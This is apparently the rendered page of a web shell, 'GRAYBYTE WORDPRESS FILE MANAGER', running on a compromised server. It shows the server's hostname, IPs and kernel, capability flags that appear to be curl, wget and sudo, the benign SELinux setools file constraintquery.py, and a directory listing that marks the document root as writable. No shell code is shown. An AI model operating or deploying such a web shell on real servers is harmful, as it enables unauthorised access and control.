✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/lib64/python3.9/site-packages/setools//constraintquery.py
# Copyright 2015, Tresys Technology, LLC
#
# SPDX-License-Identifier: LGPL-2.1-only
#
import logging
import re
from typing import Iterable, Set

from .descriptors import CriteriaDescriptor, CriteriaSetDescriptor
from .exception import ConstraintUseError
from .mixins import MatchObjClass, MatchPermission
from .policyrep import AnyConstraint, ConstraintRuletype
from .query import PolicyQuery
from .util import match_in_set


class ConstraintQuery(MatchObjClass, MatchPermission, PolicyQuery):

    """
    Query constraint rules, (mls)constrain/(mls)validatetrans.

    Parameter:
    policy            The policy to query.

    Keyword Parameters/Class attributes:
    ruletype          The list of rule type(s) to match.
    tclass            The object class(es) to match.
    tclass_regex      If true, use a regular expression for
                      matching the rule's object class.
    perms             The permission(s) to match.
    perms_equal       If true, the permission set of the rule
                      must exactly match the permissions
                      criteria.  If false, any set intersection
                      will match.
    perms_regex       If true, regular expression matching will be used
                      on the permission names instead of set logic.
    role              The name of the role to match in the
                      constraint expression.
    role_indirect     If true, members of an attribute will be
                      matched rather than the attribute itself.
    role_regex        If true, regular expression matching will
                      be used on the role.
    type_             The name of the type/attribute to match in the
                      constraint expression.
    type_indirect     If true, members of an attribute will be
                      matched rather than the attribute itself.
    type_regex        If true, regular expression matching will
                      be used on the type/attribute.
    user              The name of the user to match in the
                      constraint expression.
    user_regex        If true, regular expression matching will
                      be used on the user.
    """

    ruletype = CriteriaSetDescriptor(enum_class=ConstraintRuletype)
    user = CriteriaDescriptor("user_regex", "lookup_user")
    user_regex: bool = False
    role = CriteriaDescriptor("role_regex", "lookup_role")
    role_regex: bool = False
    role_indirect: bool = True
    type_ = CriteriaDescriptor("type_regex", "lookup_type_or_attr")
    type_regex: bool = False
    type_indirect: bool = True

    def __init__(self, policy, **kwargs) -> None:
        super(ConstraintQuery, self).__init__(policy, **kwargs)
        self.log = logging.getLogger(__name__)

    def _match_expr(self, expr, criteria, indirect, regex):
        """
        Match roles/types/users in a constraint expression,
        optionally by expanding the contents of attributes.

        Parameters:
        expr        The expression to match.
        criteria    The criteria to match.
        indirect    If attributes in the expression should be expanded.
        regex       If regular expression matching should be used.
        """

        if indirect:
            obj = set()
            for item in expr:
                obj.update(item.expand())
        else:
            obj = expr

        return match_in_set(obj, criteria, regex)

    def results(self) -> Iterable[AnyConstraint]:
        """Generator which yields all matching constraints rules."""
        self.log.info("Generating constraint results from {0.policy}".format(self))
        self.log.debug("Ruletypes: {0.ruletype}".format(self))
        self._match_object_class_debug(self.log)
        self._match_perms_debug(self.log)
        self.log.debug("User: {0.user!r}, regex: {0.user_regex}".format(self))
        self.log.debug("Role: {0.role!r}, regex: {0.role_regex}".format(self))
        self.log.debug("Type: {0.type_!r}, regex: {0.type_regex}".format(self))

        for c in self.policy.constraints():
            if self.ruletype:
                if c.ruletype not in self.ruletype:
                    continue

            if not self._match_object_class(c):
                continue

            try:
                if not self._match_perms(c):
                    continue
            except ConstraintUseError:
                continue

            if self.role and not self._match_expr(
                    c.expression.roles,
                    self.role,
                    self.role_indirect,
                    self.role_regex):
                continue

            if self.type_ and not self._match_expr(
                    c.expression.types,
                    self.type_,
                    self.type_indirect,
                    self.type_regex):
                continue

            if self.user and not self._match_expr(
                    c.expression.users,
                    self.user,
                    False,
                    self.user_regex):
                continue

            yield c

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
14 Aug 2026 4.57 AM
root / root
0755
__pycache__
--
17 Jan 2026 3.14 PM
root / root
0755
checker
--
17 Jan 2026 3.14 PM
root / root
0755
diff
--
17 Jan 2026 3.14 PM
root / root
0755
__init__.py
3.238 KB
7 Dec 2023 3.49 PM
root / root
0644
boolquery.py
1.701 KB
7 Dec 2023 3.49 PM
root / root
0644
boundsquery.py
1.802 KB
7 Dec 2023 3.49 PM
root / root
0644
categoryquery.py
1.343 KB
7 Dec 2023 3.49 PM
root / root
0644
commonquery.py
1.575 KB
7 Dec 2023 3.49 PM
root / root
0644
constraintquery.py
4.99 KB
7 Dec 2023 3.49 PM
root / root
0644
defaultquery.py
2.285 KB
7 Dec 2023 3.49 PM
root / root
0644
descriptors.py
9.699 KB
7 Dec 2023 3.49 PM
root / root
0644
devicetreeconquery.py
2.223 KB
7 Dec 2023 3.49 PM
root / root
0644
dta.py
22.667 KB
7 Dec 2023 3.49 PM
root / root
0644
exception.py
5.961 KB
7 Dec 2023 3.49 PM
root / root
0644
fsusequery.py
2.801 KB
7 Dec 2023 3.49 PM
root / root
0644
genfsconquery.py
3.184 KB
7 Dec 2023 3.49 PM
root / root
0644
ibendportconquery.py
3.053 KB
7 Dec 2023 3.49 PM
root / root
0644
ibpkeyconquery.py
4.889 KB
7 Dec 2023 3.49 PM
root / root
0644
infoflow.py
15.54 KB
7 Dec 2023 3.49 PM
root / root
0644
initsidquery.py
2.255 KB
7 Dec 2023 3.49 PM
root / root
0644
iomemconquery.py
3.999 KB
7 Dec 2023 3.49 PM
root / root
0644
ioportconquery.py
4.023 KB
7 Dec 2023 3.49 PM
root / root
0644
mixins.py
6.816 KB
7 Dec 2023 3.49 PM
root / root
0644
mlsrulequery.py
4.088 KB
7 Dec 2023 3.49 PM
root / root
0644
netifconquery.py
2.398 KB
7 Dec 2023 3.49 PM
root / root
0644
nodeconquery.py
3.903 KB
7 Dec 2023 3.49 PM
root / root
0644
objclassquery.py
3.27 KB
7 Dec 2023 3.49 PM
root / root
0644
pcideviceconquery.py
2.58 KB
7 Dec 2023 3.49 PM
root / root
0644
perm_map
84.096 KB
7 Dec 2023 3.49 PM
root / root
0644
permmap.py
16.196 KB
7 Dec 2023 3.49 PM
root / root
0644
pirqconquery.py
2.479 KB
7 Dec 2023 3.49 PM
root / root
0644
polcapquery.py
1.117 KB
7 Dec 2023 3.49 PM
root / root
0644
policyrep.cpython-39-x86_64-linux-gnu.so
1.45 MB
3 Apr 2024 4.13 PM
root / root
0755
policyrep.pyi
51.028 KB
7 Dec 2023 3.49 PM
root / root
0644
portconquery.py
4.774 KB
7 Dec 2023 3.49 PM
root / root
0644
py.typed
0 KB
7 Dec 2023 3.49 PM
root / root
0644
query.py
1.238 KB
7 Dec 2023 3.49 PM
root / root
0644
rbacrulequery.py
5.335 KB
7 Dec 2023 3.49 PM
root / root
0644
rolequery.py
1.95 KB
7 Dec 2023 3.49 PM
root / root
0644
sensitivityquery.py
2.217 KB
7 Dec 2023 3.49 PM
root / root
0644
terulequery.py
8.729 KB
7 Dec 2023 3.49 PM
root / root
0644
typeattrquery.py
2.106 KB
7 Dec 2023 3.49 PM
root / root
0644
typequery.py
2.95 KB
7 Dec 2023 3.49 PM
root / root
0644
userquery.py
4.189 KB
7 Dec 2023 3.49 PM
root / root
0644
util.py
7.591 KB
7 Dec 2023 3.49 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF